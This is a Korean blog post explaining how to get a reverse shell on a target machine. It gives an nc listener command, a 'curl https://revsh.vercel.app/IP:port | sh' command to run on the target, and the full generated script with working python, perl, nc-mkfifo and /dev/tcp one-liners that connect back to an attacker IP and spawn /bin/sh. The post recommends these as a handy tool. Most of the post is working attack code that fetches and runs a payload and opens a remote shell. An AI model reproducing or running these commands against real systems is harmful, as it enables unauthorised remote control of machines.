티스토리 뷰

728x90
반응형

1. [공격자 서버] NC Listening

nc -lvnp 20010

 

2. [대상 서버] cURL Request

curl 명령 실행

curl 명령어 사용 예시

curl https://revsh.vercel.app/공격자서버IP주소:포트번호 | sh

 

3. [공격자 서버] Shell Received

shell 획득함

 

 


 

리버스 쉘(Reverse Shell)을 빠르고 쉽게 획득하는 방법에 대해서 알아보았습니다.

공격자 서버에서는 단순히 nc 명령어로 소켓을 리스닝해주게 하였고,

공격 대상 서버에는 curl 명령어를 이용해서 특정 URL로 공격자의 IP주소와 포트번호를 입력해주었습니다.

그렇게 했더니 바로 쉘이 획득되는 것을 볼 수 있었는데요.

 

특정 URL에는 어떤 내용이 있길래 이런 동작이 가능한 것일까요?

https://revsh.vercel.app/

접속해보면 아시겠지만 아래와 같은 내용물이 담겨있습니다.

# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
#      nc -l 1337
#
# 2. On the target machine:
#      curl https://reverse-shell.sh/yourip:1337 | sh
#
# 3. Don't be a dick

 

주석 내용을 보시면 URL을 입력하구서 뒤에 IP주소와 포트를 입력해보라고 되어 있습니다.

예를 들어 아래와 같이 입력해보고나서 어떤 내용이 나오는지 살펴보았습니다.

https://revsh.vercel.app/123.123.123.123:1324

# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
#      nc -l 1337
#
# 2. On the target machine:
#      curl https://reverse-shell.sh/yourip:1337 | sh
#
# 3. Don't be a dick

if command -v python > /dev/null 2>&1; then
	python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("123.123.123.123",1324)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
	exit;
fi

if command -v perl > /dev/null 2>&1; then
	perl -e 'use Socket;$i="123.123.123.123";$p=1324;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
	exit;
fi

if command -v nc > /dev/null 2>&1; then
	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 123.123.123.123 1324 >/tmp/f
	exit;
fi

if command -v sh > /dev/null 2>&1; then
	/bin/sh -i >& /dev/tcp/123.123.123.123/1324 0>&1
	exit;
fi

 

바로 다음과 같은 내용물이 자동으로 만들어지는 것을 보실 수 있습니다.

이처럼 IP주소와 Port 번호만 입력해주면 자동으로 리버스쉘에 필요한 내용을 생성해주는 것을 보실 수 있습니다.

 

python, perl, nc, sh 과 같은 명령어 존재 유무를 확인하고, 만약 있다면 해당 프로그램으로 쉘을 열게끔 해줍니다.

 

정말 유용한 도구죠?

 

도움이 되었다면 댓글과 공감 눌러주세요~❤

728x90
반응형

'보안' 카테고리의 다른 글

Captcha Bypass(캡챠 우회)하는 9가지 방법  (4) 2021.10.21
댓글